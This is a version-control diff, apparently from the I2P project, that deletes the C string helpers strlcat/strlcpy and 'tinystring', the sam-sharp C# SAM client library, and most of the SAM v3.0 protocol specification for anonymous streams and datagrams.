snprintf (buf1, sizeof (buf1), int_fmt[x], int_nums[y]);
sprintf (buf2, int_fmt[x], int_nums[y]);
if (strcmp (buf1, buf2))
{
printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n",
int_fmt[x], buf1, buf2);
fail++;
}
num++;
}
printf ("%d tests failed out of %d.\n", fail, num);
}
#endif /* SNPRINTF_TEST */

View File

@ -1,84 +0,0 @@
/*
* Copyright (c) 1998 Todd C. Miller <Todd.Miller@courtesan.com>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <stddef.h>
#include <string.h>
/*
* Appends src to string dst of size siz (unlike strncat, siz is the
* full size of dst, not space left). At most siz-1 characters
* will be copied. Always NUL terminates (unless siz <= strlen(dst)).
* Returns strlen(src) + MIN(siz, strlen(initial dst)).
* If retval >= siz, truncation occurred.
*/
size_t
strlcat(char *dst, const char *src, size_t siz)
{
register char *d = dst;
register const char *s = src;
register size_t n = siz;
size_t dlen;
/* Find the end of dst and adjust bytes left but don't go past end */
while (n-- != 0 && *d != '\0')
d++;
dlen = d - dst;
n = siz - dlen;
if (n == 0)
return(dlen + strlen(s));
while (*s != '\0') {
if (n != 1) {
*d++ = *s;
n--;
}
s++;
}
*d = '\0';
return(dlen + (s - src)); /* count does not include NUL */
}
/*
* Copy src to string dst of size siz. At most siz-1 characters
* will be copied. Always NUL terminates (unless siz == 0).
* Returns strlen(src); if retval >= siz, truncation occurred.
*/
size_t
strlcpy(char *dst, const char *src, size_t siz)
{
register char *d = dst;
register const char *s = src;
register size_t n = siz;
/* Copy as many bytes as will fit */
if (n != 0 && --n != 0) {
do {
if ((*d++ = *s++) == 0)
break;
} while (--n != 0);
}
/* Not enough room in dst, add NUL and traverse rest of src */
if (n == 0) {
if (siz != 0)
*d = '\0'; /* NUL-terminate dst */
while (*s++)
;
}
return(s - src - 1); /* count does not include NUL */
}

View File

@ -1,129 +0,0 @@
#include "tinystring.h"
#include <assert.h>
#include <stdarg.h>
#include <stdio.h>
#include <malloc.h>
#define _GNU_SOURCE
#include <string.h>
#ifndef min
#define min(a,b) ((a) > (b) ? (b) : (a))
#endif
extern char *strndup(const char *s, size_t n);
struct string_s {
const char* data;
long int size;
bool _no_del; //SIGH...
};
string_t string_ncreate(const char* cstr,long int length) {
string_t self = malloc(sizeof(struct string_s));
self->size = length;
if(cstr) self->data = strndup(cstr,length);
else self->data = NULL;
self->_no_del = 0;
return self;
}
string_t string_create(const char* cstr) {
if(!cstr)
return string_ncreate(NULL, 0);
return string_ncreate(cstr, strlen(cstr));
}
string_t string_nwrap(const char* cstr, long int length) {
static struct string_s self;
self.size = length;
self.data = cstr;
self._no_del = 1;
return &self;
}
string_t string_wrap(const char* cstr) {
if(!cstr)
return string_nwrap(NULL, 0);
return string_nwrap(cstr, strlen(cstr));
}
string_t string_fmt(const char* fmt, ...) {
va_list args;
FILE* tmp = tmpfile();
string_t self = malloc(sizeof(struct string_s));
char* data;
va_start(args, fmt);
vfprintf(tmp, fmt, args);
va_end(args);
self->size = ftell(tmp);
rewind(tmp);
data = malloc(self->size);
fread(data, self->size, sizeof(char), tmp);
fclose(tmp);
self->data = data;
return self;
}
string_t string_cat(string_t head,string_t tail) {
//There are two ways to skin a cat...
string_t self = malloc(sizeof(struct string_s));
char* data;
self->size = head->size+tail->size;
data = malloc(self->size);
memcpy(data, head->data, head->size);
memcpy(data+head->size,tail->data,tail->size);
self->data = data;
return self;
}
/* Source Dest */
void string_copy(string_t src,string_t dest) {
dest->data = realloc((char*)dest->data,src->size);
memcpy((char*)dest->data,src->data,dest->size);
}
void string_copy_raw(string_t src, void* dest,size_t size) {
size = min(src->size,size);
memcpy(dest,src->data,size);
((char*)dest)[size] = '\0';
}
const char* string_data(string_t self) {
return self->data;
}
long int string_size(string_t self) {
return self->size;
}
void string_free(string_t self) {
if(!self->_no_del)
free((char*)self->data);
free(self);
}
#ifndef min
#define min(a,b) ((a) < (b) ? (a) : (b))
#endif
bool string_equal(string_t this,string_t that) {
return !memcmp(this->data,that->data,min(this->size,that->size));
}
bool string_equali(string_t this,string_t that) {
return !strncasecmp(this->data,that->data,min(this->size,that->size));
}
int string_cmp(string_t this,string_t that) {
return memcmp(this->data,that->data,min(this->size,that->size));
}
int string_cmpi(string_t this,string_t that) {
return strncasecmp(this->data,that->data,min(this->size,that->size));
}

View File

@ -1,4 +0,0 @@
#!/usr/bin/env perl
printf "%-8s ",uc(shift @ARGV);
print join(' ', @ARGV),"\n";

View File

@ -1,84 +0,0 @@
sam-sharp
DESCRIPTION
sam-sharp is a .NET SAM client library for I2P written in C#. It aims to be
compatible with platforms that implement .NET's base class library API (such
as Mono and DotGNU Portable.NET) and to be usable from all languages
conforming to the ECMA-standardized Common Language Infrastructure, including
C# and VB.NET.
MINIMUM REQUIREMENTS
* Mono and mcs 1.0 or higher (Linux, Mac OS X, Windows)
- or -
MS .NET Framework SDK 1.0 or higher (Windows)
- or -
DotGNU Portable .NET, latest version recommended (*BSD, AIX, Cygwin, Linux,
Mac OS X, MinGW, Solaris)
OPTIONAL REQUIREMENTS
* NAnt 0.85 or higher is needed to use sam-sharp.build. Sorry, NAnt does not
yet support Portable.NET.
* NUnit 2.2.1 or later is needed to run the (soon-to-be-added) unit tests. If
you have the Mono mcs package installed then you already have NUnit.
DOCUMENTATION
Pre-generated docs will be submitted to CVS soon. In the meantime you may
generate standalone documentation from the embedded XML doc comments by
issuing the following commands from sam-sharp's src/ directory:
Mono:
mkdir ../doc
mcs -doc:../doc/sam-sharp_doc.xml *.cs
MS .NET:
mkdir ../doc
csc /doc:../doc/sam-sharp_doc.xml *.cs
DotGNU Portable.NET:
mkdir ../doc
csdoc -o ../doc/sam-sharp_doc.xml *.cs
The resulting XML doc can be converted to HTML using either Visual Studio .NET
(Tools > Build Comment Web Pages) or Portable.NET's csdoc2html tool:
csdoc2html -o ../doc ../doc/sam-sharp_doc.xml
ACKNOWLEDGMENTS
sam-sharp is a port of jrandom's public domain Java SAM client library.
LICENSE
This work is released into the public domain.
AUTHORS
jrandom (original Java SAM client library)
smeghead (C# port of the Java SAM client library)
MAINTAINERS
smeghead <smeghead@i2pmail.org> <smeghead@mail.i2p>
$Id: README,v 1.1 2005/01/24 17:42:05 smeghead Exp $

View File

@ -1,19 +0,0 @@
<?xml version="1.0"?>
<project basedir="." default="bin" name="sam-sharp">
<target name="bin" description="Builds assemblies from source">
<mkdir dir="bin" />
<csc target="library" output="bin/sam-sharp.dll">
<sources>
<include name="src/**/*.cs" />
</sources>
</csc>
<echo message="Build complete." />
</target>
<target name="clean" description="Deletes all built assemblies">
<delete dir="bin" failonerror="false" />
<echo message="Clean complete." />
</target>
</project>

View File

@ -1,32 +0,0 @@
using System.Reflection;
using System.Runtime.CompilerServices;
// Information about this assembly is defined by the following
// attributes.
//
// change them to the information which is associated with the assembly
// you compile.
[assembly: AssemblyTitle("sam-sharp")]
[assembly: AssemblyDescription("Mono/.NET SAM client for I2P")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("sam-sharp")]
[assembly: AssemblyCopyright("Released into the Public Domain")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// The assembly version has following format :
//
// Major.Minor.Build.Revision
//
// You can specify all values by your own or you can build default build and revision
// numbers with the '*' character (the default):
[assembly: AssemblyVersion("0.1")]
// The following attributes specify the key for the sign of your assembly. See the
// .NET Framework documentation for more information about signing.
// This is not required, if you don't want signing let these attributes like they're.
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyKeyFile("")]

View File

@ -1,160 +0,0 @@
using System;
using System.Collections.Specialized;
using System.Threading;
namespace I2P.SAM.Client
{
/// <summary>
/// Optional base class providing basic SAM event handling and helper
/// methods.
/// </summary>
public class SamBaseEventHandler
{
private object _helloLock = new Object();
private string _helloOk;
private NameValueCollection _namingReplies = new NameValueCollection();
private object _namingReplyLock = new Object();
private SamReader _samReader;
private object _sessionCreateLock = new Object();
private string _sessionCreateOk;
/// <summary>
/// Creates a new <c>SamBaseEventHandler</c> instance and registers
/// overridable handler methods for all events generated by the given
/// <see cref="SamReader">SamReader</see>.
/// </summary>
public SamBaseEventHandler(SamReader samReader) {
_samReader = samReader;
_samReader.DestReplyReceived += new DestReplyReceivedHandler(OnDestReplyReceived);
_samReader.HelloReplyReceived += new HelloReplyReceivedHandler(OnHelloReplyReceived);
_samReader.NamingReplyReceived += new NamingReplyReceivedHandler(OnNamingReplyReceived);
_samReader.SessionStatusReceived += new SessionStatusReceivedHandler(OnSessionStatusReceived);
_samReader.StreamClosedReceived += new StreamClosedReceivedHandler(OnStreamClosedReceived);
_samReader.StreamConnectedReceived += new StreamConnectedReceivedHandler(OnStreamConnectedReceived);
_samReader.StreamDataReceived += new StreamDataReceivedHandler(OnStreamDataReceived);
_samReader.StreamStatusReceived += new StreamStatusReceivedHandler(OnStreamStatusReceived);
_samReader.UnknownMessageReceived += new UnknownMessageReceivedHandler(OnUnknownMessageReceived);
}
public virtual void OnDestReplyReceived(string publicKey, string privateKey) {
}
public virtual void OnHelloReplyReceived(bool ok) {
lock (_helloLock) {
if (ok)
_helloOk = Boolean.TrueString;
else
_helloOk = Boolean.FalseString;
Monitor.PulseAll(_helloLock);
}
}
public virtual void OnNamingReplyReceived(string name, string result, string valueString, string message) {
lock (_namingReplyLock) {
if (result.Equals(SamBridgeMessages.NAMING_REPLY_OK))
_namingReplies.Add(name, valueString);
else
_namingReplies.Add(name, result);
Monitor.PulseAll(_namingReplyLock);
}
}
public virtual void OnSessionStatusReceived(string result, string destination, string message) {
lock (_sessionCreateLock) {
if (result.Equals(SamBridgeMessages.SESSION_STATUS_OK))
_sessionCreateOk = Boolean.TrueString;
else
_sessionCreateOk = Boolean.FalseString;
Monitor.PulseAll(_sessionCreateLock);
}
}
public virtual void OnStreamClosedReceived(string result, int id, string message) {
}
public virtual void OnStreamConnectedReceived(string remoteDestination, int id) {
}
public virtual void OnStreamDataReceived(int id, byte[] data, int offset, int length) {
}
public virtual void OnStreamStatusReceived(string result, int id, string message) {
}
public virtual void OnUnknownMessageReceived(string major, string minor, NameValueCollection parameters) {
Console.WriteLine("wrt, [" + major + "] [" + minor + "] [" + parameters + "]");
}
// Helper methods below.
/// <summary>
/// Waits for a SAM connection to be established.
/// </summary>
/// <remarks>
/// This method blocks until the connection is established.
/// </remarks>
/// <returns><c>true</c> if the handshake was successful.</returns>
public virtual bool WaitForHelloReply() {
while (true) {
lock (_helloLock) {
if (_helloOk == null)
Monitor.Wait(_helloLock);
else
return Boolean.Parse(_helloOk);
}
}
}
/// <summary>
/// Waits for a SAM naming reply message.
/// </summary>
/// <remarks>
/// This method blocks until all naming replies are received.
/// </remarks>
/// <param name="name">The name to be looked for, or <c>ME</c>.</param>
/// <returns>The matching destination for <c>name</c>, or <c>null</c> if
/// the key was not able to be retrieved.</returns>
public virtual string WaitForNamingReply(string name) {
while (true) {
lock (_namingReplyLock) {
try {
string valueString = _namingReplies[name];
_namingReplies.Remove(name);
if (valueString.Equals(SamBridgeMessages.NAMING_REPLY_INVALID_KEY))
return null;
else if (valueString.Equals(SamBridgeMessages.NAMING_REPLY_KEY_NOT_FOUND))
return null;
else
return valueString;
} catch (ArgumentNullException ane) {
Monitor.Wait(_namingReplyLock);
}
}
}
}
/// <summary>
/// Waits for a SAM session to be created.
/// </summary>
/// <remarks>
/// This method blocks until a SAM session is created.
/// </remarks>
/// <returns><c>true</c> if the SAM session was created successfully.
// </returns>
public virtual bool WaitForSessionCreateReply() {
while (true) {
lock (_sessionCreateLock) {
if (_sessionCreateOk == null)
Monitor.Wait(_sessionCreateLock);
else
return Boolean.Parse(_sessionCreateOk);
}
}
}
}
}

View File

@ -1,26 +0,0 @@
namespace I2P.SAM.Client
{
public struct SamBridgeMessages
{
public const string NAMING_REPLY_INVALID_KEY = "INVALID_KEY";
public const string NAMING_REPLY_KEY_NOT_FOUND = "KEY_NOT_FOUND";
public const string NAMING_REPLY_OK = "OK";
public const string SESSION_STATUS_DUPLICATE_DEST = "DUPLICATE_DEST";
public const string SESSION_STATUS_I2P_ERROR = "I2P_ERROR";
public const string SESSION_STATUS_INVALID_KEY = "INVALID_KEY";
public const string SESSION_STATUS_OK = "OK";
public const string STREAM_CLOSED_CANT_REACH_PEER = "CANT_REACH_PEER";
public const string STREAM_CLOSED_I2P_ERROR = "I2P_ERROR";
public const string STREAM_CLOSED_PEER_NOT_FOUND = "PEER_NOT_FOUND";
public const string STREAM_CLOSED_TIMEOUT = "CLOSED";
public const string STREAM_CLOSED_OK = "OK";
public const string STREAM_STATUS_CANT_REACH_PEER = "CANT_REACH_PEER";
public const string STREAM_STATUS_I2P_ERROR = "I2P_ERROR";
public const string STREAM_STATUS_INVALID_KEY = "INVALID_KEY";
public const string STREAM_STATUS_TIMEOUT = "TIMEOUT";
public const string STREAM_STATUS_OK = "OK";
}
}

View File

@ -1,278 +0,0 @@
using System;
using System.Collections;
using System.Collections.Specialized;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace I2P.SAM.Client
{
public delegate void DestReplyReceivedHandler(string publicKey, string privateKey);
public delegate void HelloReplyReceivedHandler(bool ok);
public delegate void NamingReplyReceivedHandler(string name, string result, string valueString, string message);
public delegate void SessionStatusReceivedHandler(string result, string destination, string message);
public delegate void StreamClosedReceivedHandler(string result, int id, string message);
public delegate void StreamConnectedReceivedHandler(string remoteDestination, int id);
public delegate void StreamDataReceivedHandler(int id, byte[] data, int offset, int length);
public delegate void StreamStatusReceivedHandler(string result, int id, string message);
public delegate void UnknownMessageReceivedHandler(string major, string minor, NameValueCollection parameters);
/// <summary>
/// Reads from a socket stream, producing events for any SAM message read.
/// </summary>
public class SamReader
{
public event DestReplyReceivedHandler DestReplyReceived;
public event HelloReplyReceivedHandler HelloReplyReceived;
public event NamingReplyReceivedHandler NamingReplyReceived;
public event SessionStatusReceivedHandler SessionStatusReceived;
public event StreamClosedReceivedHandler StreamClosedReceived;
public event StreamConnectedReceivedHandler StreamConnectedReceived;
public event StreamDataReceivedHandler StreamDataReceived;
public event StreamStatusReceivedHandler StreamStatusReceived;
public event UnknownMessageReceivedHandler UnknownMessageReceived;
private bool _isLive;
private NetworkStream _samStream;
private StreamReader _samStreamReader;
public SamReader(NetworkStream samStream) {
_samStream = samStream;
}
public void RunThread() {
NameValueCollection parameters = new NameValueCollection();
while (_isLive) {
string line = null;
_samStreamReader = new StreamReader(_samStream);
try {
line = _samStreamReader.ReadLine();
_samStreamReader.Close();
} catch (IOException ioe) {
Console.Error.WriteLine("Error reading from SAM: {1}", ioe);
} catch (OutOfMemoryException oome) {
Console.Error.WriteLine("Out of memory while reading from SAM: {1}", oome);
return;
}
if (line == null) {
break;
}
string[] tokens = line.Split(new char[1] { ' ' });
if (tokens.Length < 2) {
Console.Error.WriteLine("Invalid SAM line: [" + line + "]");
_isLive = false;
return;
}
IEnumerator tokensEnumerator = tokens.GetEnumerator();
tokensEnumerator.MoveNext();
string major = (string) tokensEnumerator.Current;
tokensEnumerator.MoveNext();
string minor = (string) tokensEnumerator.Current;
parameters.Clear();
while (tokensEnumerator.MoveNext()) {
string pair = (string) tokensEnumerator.Current;
int equalsPosition = pair.IndexOf('=');
if ( (equalsPosition > 0) && (equalsPosition < pair.Length - 1) ) {
string name = pair.Substring(0, equalsPosition);
string valueString = pair.Substring(equalsPosition + 1);
while ( (valueString[0] == '\"') && (valueString.Length > 0) )
valueString = valueString.Substring(1);
while ( (valueString.Length > 0) && (valueString[valueString.Length - 1] == '\"') )
valueString = valueString.Substring(0, valueString.Length - 1);
parameters.Set(name, valueString);
}
}
ProcessEvent(major, minor, parameters);
}
}
private void ProcessEvent(string major, string minor, NameValueCollection parameters) {
switch (major)
{
case "HELLO" :
if (minor.Equals("REPLY")) {
string result = parameters.Get("RESULT");
if (result.Equals("OK"))
HelloReplyReceived(true);
else
HelloReplyReceived(false);
} else {
UnknownMessageReceived(major, minor, parameters);
}
break;
case "SESSION" :
if (minor.Equals("STATUS")) {
string result = parameters.Get("RESULT");
string destination = parameters.Get("DESTINATION");
string message = parameters.Get("MESSAGE");
SessionStatusReceived(result, destination, message);
} else {
UnknownMessageReceived(major, minor, parameters);
}
break;
case "STREAM" :
ProcessStream(major, minor, parameters);
break;
case "NAMING" :
if (minor.Equals("REPLY")) {
string name = parameters.Get("NAME");
string result = parameters.Get("RESULT");
string valueString = parameters.Get("VALUE");
string message = parameters.Get("MESSAGE");
NamingReplyReceived(name, result, valueString, message);
} else {
UnknownMessageReceived(major, minor, parameters);
}
break;
case "DEST" :
if (minor.Equals("REPLY")) {
string pub = parameters.Get("PUB");
string priv = parameters.Get("PRIV");
DestReplyReceived(pub, priv);
} else {
UnknownMessageReceived(major, minor, parameters);
}
break;
default :
UnknownMessageReceived(major, minor, parameters);
break;
}
}
private void ProcessStream(string major, string minor, NameValueCollection parameters) {
/*
* Would use another tidy switch() statement here but the Mono
* compiler presently gets variable scopes confused within nested
* switch() contexts. Nested switch() is broken with Mono/mcs 1.0.5,
* 1.1.3, and SVN head.
*/
if (minor.Equals("STATUS")) {
string result = parameters.Get("RESULT");
string id = parameters.Get("ID");
string message = parameters.Get("MESSAGE");
try {
StreamStatusReceived(result, Int32.Parse(id), message);
} catch {
UnknownMessageReceived(major, minor, parameters);
}
} else if (minor.Equals("CONNECTED")) {
string destination = parameters.Get("DESTINATION");
string id = parameters.Get("ID");
try {
StreamConnectedReceived(destination, Int32.Parse(id));
} catch {
UnknownMessageReceived(major, minor, parameters);
}
} else if (minor.Equals("CLOSED")) {
string result = parameters.Get("RESULT");
string id = parameters.Get("ID");
string message = parameters.Get("MESSAGE");
try {
StreamClosedReceived(result, Int32.Parse(id), message);
} catch {
UnknownMessageReceived(major, minor, parameters);
}
} else if (minor.Equals("RECEIVED")) {
string id = parameters.Get("ID");
string size = parameters.Get("SIZE");
if (id != null) {
try {
int idValue = Int32.Parse(id);
int sizeValue = Int32.Parse(size);
byte[] data = new byte[sizeValue];
int bytesRead;
try {
bytesRead = _samStream.Read(data, 0, sizeValue);
if (bytesRead != sizeValue) {
UnknownMessageReceived(major, minor, parameters);
return;
}
} catch {
_isLive = false;
UnknownMessageReceived(major, minor, parameters);
return;
}
StreamDataReceived(idValue, data, 0, sizeValue);
} catch (FormatException fe) {
UnknownMessageReceived(major, minor, parameters);
}
} else {
UnknownMessageReceived(major, minor, parameters);
}
} else {
UnknownMessageReceived(major, minor, parameters);
}
}
public void StartReading() {
_isLive = true;
ThreadStart threadStart = new ThreadStart(RunThread);
Thread thread = new Thread(threadStart);
thread.Name = "SAM Reader";
thread.Start();
}
public void StopReading() {
_isLive = false;
}
}
}

View File

@ -1,487 +1,3 @@
----------------------------------------------------------------------
Simple Anonymous Messaging (SAM version 3.0)
----------------------------------------------------------------------
Client application talks to SAM bridge, which deals with
all of the I2P functionality (using the ministreaming
lib for virtual streams, or I2CP directly for async messages).
All client<-->SAM bridge communication is unencrypted and
unauthenticated. Access to the SAM
bridge should be protected through firewalls or other means
(perhaps the bridge may have ACLs on what IPs it accepts
connections from).
All of these SAM messages are sent on a single line in plain ASCII,
terminated by the newline character (\n). The formatting shown
below is merely for readability, and while the first two words in
each message must stay in their specific order, the ordering of
the key=value pairs can change (e.g. "ONE TWO A=B C=D" or
"ONE TWO C=D A=B" are both perfectly valid constructions). In
addition, the protocol is case-sensitive.
In the following, message examples are preceded by "-> " for
messages sent by the client to the SAM bridge, and by "<- " for
messages sent by the SAM bridge to the client.
I2P communications can take three distinct forms:
* Virtual streams
* Repliable datagrams (messages with a FROM field)
* Anonymous datagrams (raw anonymous messages)
I2P communications are supported by I2P sessions, and each I2P
session is bound to an address (called destination). An I2P session
is associated with one of the three types above, and cannot carry
communications of another type.
----------------------------------------------------------------------
SAM connection handshake
----------------------------------------------------------------------
No SAM communication can occur until after the client and bridge have
agreed on a protocol version, which is done by the client sending
a HELLO and the bridge sending a HELLO REPLY:
-> HELLO VERSION MIN=$min MAX=$max
and
<- HELLO REPLY RESULT=OK VERSION=3.0
*** In order to force protocol version 3.0, the values of $min and $max
*** must be "3.0".
If the SAM bridge cannot find a suitable version, it replies with :
<- HELLO REPLY RESULT=NOVERSION
If some error occurred, such as a bad request format, it replies with :
<- HELLO REPLY RESULT=I2P_ERROR MESSAGE={$message}
----------------------------------------------------------------------
SAM sessions
----------------------------------------------------------------------
A SAM session is created by a client opening a socket to the SAM
bridge, operating a handshake, and sending a SESSION CREATE message,
and the session terminates when the socket is disconnected.
Each registered I2P Destination is uniquely associated with a session ID
(or nickname).
Each session is uniquely associated with :
* the socket from which the client creates the session
* its ID (or nickname)
The session creation message can only use one of these forms (messages
received through other forms are answered with an error message) :
-> SESSION CREATE
STYLE={STREAM,DATAGRAM,RAW}
ID={$nickname}
DESTINATION={$private_destination_key,TRANSIENT}
[option=value]*
DESTINATION specifies what destination should be used for
sending and receiving messages/streams. It has to be a suitable
private base64 destination key. If the destination is
specified as TRANSIENT, the SAM bridge creates a new destination.
{$nickname} is the choice of the client. No whitespace is allowed.
Additional options given are passed to the I2P session
configuration if not interpreted by the SAM bridge (e.g.
outbound.length=0). These options are documented below.
The SAM bridge itself should already be configured with what router
it should communicate over I2P through (though if need be there may
be a way to provide an override, e.g. i2cp.tcp.host=localhost and
i2cp.tcp.port=7654).
After receiving the session create message, the SAM bridge will reply
with a session status message, as follows:
If the creation was successful :
<- SESSION STATUS RESULT=OK DESTINATION={$private_destination_key}
If the nickname is already associated with a session :
<- SESSION STATUS RESULT=DUPLICATED_ID
If the destination is already in use :
<- SESSION STATUS RESULT=DUPLICATED_DEST
If the destination is not a valid private destination key :
<- SESSION STATUS RESULT=INVALID_KEY
If some other error has occurred :
<- SESSION STATUS RESULT=I2P_ERROR MESSAGE={$message}
If it's not OK, the MESSAGE should contain human-readable information
as to why the session could not be created.
SAM sessions live and die with the socket they are associated with.
When the socket is closed, the session dies, and all communications
using the session die at the same time. And the other way round, when
the session dies for any reason, the SAM bridge closes the socket.
----------------------------------------------------------------------
SAM virtual streams
----------------------------------------------------------------------
Virtual streams are guaranteed to be sent reliably and in order, with
failure and success notification as soon as it is available.
Streams are bidirectional communication sockets between two I2P
destinations, but their opening has to be requested by one of them.
Hereafter, CONNECT commands are used by the SAM client for such a
request. FORWARD / ACCEPT commands are used by the SAM client when
he wants to listen to requests coming from other I2P destinations.
-----------------------------
SAM virtual streams : CONNECT
-----------------------------
A client asks for a connection by :
* opening a new socket with the SAM bridge
* passing the same HELLO handshake as above
* sending the connection command :
-> STREAM CONNECT
ID={$nickname}
DESTINATION=$peer_public_base64_key
[SILENCE={true,false}]
This establishes a new virtual connection from the local session
whose ID is {$nickname} to the specified peer.
If SILENCE=true is passed, the SAM bridge won't issue any other message
on the socket : if the connection fails, the socket will be closed.
If the connection succeeds, all remaining data passing through the
current socket is forwarded from and to the connected I2P destination
peer.
If SILENCE=false, which is the default value, the SAM bridge sends a
last message to its client before forwarding or shutting down the
socket :
<- STREAM STATUS
RESULT=$result
[MESSAGE=...]
The RESULT value may be one of:
OK
CANT_REACH_PEER
I2P_ERROR
INVALID_KEY
INVALID_ID
TIMEOUT
If the RESULT is OK, all remaining data passing through the
current socket is forwarded from and to the connected I2P destination
peer. If the connection was not possible (timeout, etc),
RESULT will contain the appropriate error value (accompanied by an
optional human-readable MESSAGE), and the SAM bridge closes the
socket.
----------------------------
SAM virtual streams : ACCEPT
----------------------------
A client waits for an incoming connection request by :
* opening a new socket with the SAM bridge
* passing the same HELLO handshake as above
* sending the accept command :
-> STREAM ACCEPT
ID={$nickname}
[SILENCE={true,false}]
This makes the session ${nickname} listen for one incoming
connection request from the I2P network.
The SAM bridge answers with :
<- STREAM STATUS
RESULT=$result
[MESSAGE=...]
The RESULT value may be one of:
OK
I2P_ERROR
INVALID_ID
If the result is not OK, the socket is closed immediately by the SAM
bridge. If the result is OK, the SAM bridge starts waiting for an
incoming connection request from another I2P peer. When a request
arrives, the SAM bridge accepts it and :
* If SILENCE=true was passed, the SAM bridge won't issue any other message
on the client socket : all remaining data passing through the
current socket is forwarded from and to the connected I2P destination
peer.
* If SILENCE=false was passed, which is the default value, the SAM bridge
sends the client an ASCII line containing the base64 public destination key
of the requesting peer. After this '\n' terminated line, all remaining data
passing through the current socket is forwarded from and to the connected
I2P destination peer, until one of the peer closes the socket.
-----------------------------
SAM virtual streams : FORWARD
-----------------------------
A client can use a regular socket server and wait for connection requests
coming from I2P. For that, the client has to :
* open a new socket with the SAM bridge
* pass the same HELLO handshake as above
* send the forward command :
-> STREAM FORWARD
ID={$nickname}
PORT={$port}
[HOST={$host}]
[SILENCE={true,false}]
This makes the session ${nickname} listen for incoming
connection requests from the I2P network.
The SAM bridge answers with :
<- STREAM STATUS
RESULT=$result
[MESSAGE=...]
The RESULT value may be one of:
OK
I2P_ERROR
INVALID_ID
* {$host} is the hostname or IP address of the socket server to which
SAM will forward connection requests. If not given, SAM takes the IP
of the socket that issued the forward command.
* {$port} is the port number of the socket server to which SAM will
forward connection requests. It is mandatory.
When a connexion request arrives from I2P, the SAM bridge requests a
socket connexion from {$host}:{$port}. If it is accepted after no more
than 3 seconds, SAM will accept the connexion from I2P, and then :
* If SILENCE=true was passed, all data passing through the obtained
current socket is forwarded from and to the connected I2P destination
peer.
* If SILENCE=false was passed, which is the default value, the SAM bridge
sends on the obtained socket an ASCII line containing the base64 public
destination key of the requesting peer. After this '\n' terminated line,
all remaining data passing through the socket is forwarded from and to
the connected I2P destination peer, until one of the sides closes the
socket.
The I2P router will stop listening to incoming connection requests as
soon as the "forwarding" socket is closed.
----------------------------------------------------------------------
SAM repliable datagrams : sending a datagram
----------------------------------------------------------------------
While I2P doesn't inherently contain a FROM address, for ease of use
an additional layer is provided as repliable datagrams - unordered
and unreliable messages of up to 31KB in size that include a FROM
address (leaving up to 1KB for header material). This FROM address
is authenticated internally by SAM (making use of the destination's
signing key to verify the source) and includes replay prevention.
** First method :
After establishing a SAM session with STYLE=DATAGRAM, the client can
send datagrams through SAM's UDP port (7655).
The first line of a datagram sent through this port has to be in the
following format :
3.0 {$nickname} {$base64_public_destination_key}
* 3.0 is the version of SAM
* {$nickname} is the id of the DGRAM session that will be used
* {$base64_public_destination_key} is the destination of the
datagram
* this line is '\n' terminated.
The first line will be discarded by SAM before sending the remaining
of the message to the specified destination.
** Second method :
Datagrams can also be sent through the socket from which the datagram
session was opened. See the "DATAGRAM SEND" command of SAM versions 1
and 2.
----------------------------------------------------------------------
SAM repliable datagrams : receiving a datagram
----------------------------------------------------------------------
Received datagrams are written by SAM on the socket from which the
datagram session was opened, unless specified otherwise by the CREATE
command.
When a datagram arrives, the bridge delivers it to the client via the
message :
<- DATAGRAM RECEIVED
DESTINATION=$base64key
SIZE=$numBytes\n[$numBytes of data]
The SAM bridge never exposes to the client the authentication headers
or other fields, merely the data that the sender provided. This
continues until the session is closed (by the client dropping the
connection).
----------------------------------------------------------------------
SAM repliable datagrams : forwarding datagrams
----------------------------------------------------------------------
When creating a datagram session, the client can ask SAM to forward
incoming messages to a specified ip:port. It does so by issuing the
CREATE command with PORT and HOST options :
-> SESSION CREATE
STYLE=DATAGRAM
ID={$nickname}
DESTINATION={$private_destination_key,TRANSIENT}
PORT={$port}
[HOST={$host}]
[option=value]*
* {$host} is the hostname or IP address of the datagram server to
which SAM will forward datagrams. If not given, SAM takes the
IP of the socket that issued the forward command.
* {$port} is the port number of the datagram server to which SAM
will forward datagrams.
When a datagram arrives, the bridge sends to the specified host:port
a message containing the following data :
${sender_base64_destination_key}\n{$datagram_payload}
----------------------------------------------------------------------
SAM anonymous datagrams
----------------------------------------------------------------------
Squeezing the most out of I2P's bandwidth, SAM allows clients to send
and receive anonymous datagrams, leaving authentication and reply
information up to the client themselves. These datagrams are
unreliable and unordered, and may be up to 32KB in size.
After establishing a SAM session with STYLE=RAW, the client can
send anonymous datagrams throug the SAM bridge exactly the same way
he sends non anonymous datagrams.
Both ways of receiving datagrams are also available for anonymous
datagrams.
When anonymous datagrams are to be written to the socket that created
the session,the bridge delivers it to the client via:
<- RAW RECEIVED
SIZE=$numBytes\n[$numBytes of data]
When anonymous datagrams are to be forwarded to some host:port,
the bridge sends to the specified host:port a message containing
the following data :
{$datagram_payload}
----------------------------------------------------------------------
SAM utility functionality
----------------------------------------------------------------------
The following message can be used by the client to query the SAM
bridge for name resolution:
NAMING LOOKUP
NAME=$name
which is answered by
NAMING REPLY
RESULT=$result
NAME=$name
[VALUE=$base64key]
[MESSAGE=$message]
The RESULT value may be one of:
OK
INVALID_KEY
KEY_NOT_FOUND
If NAME=ME, then the reply will contain the base64key used by the
current session (useful if you're using a TRANSIENT one). If $result
is not OK, MESSAGE may convey a descriptive message, such as "bad
format", etc.
Public and private base64 keys can be generated using the following
message:
DEST GENERATE
which is answered by
DEST REPLY
PUB=$pubkey
PRIV=$privkey
----------------------------------------------------------------------
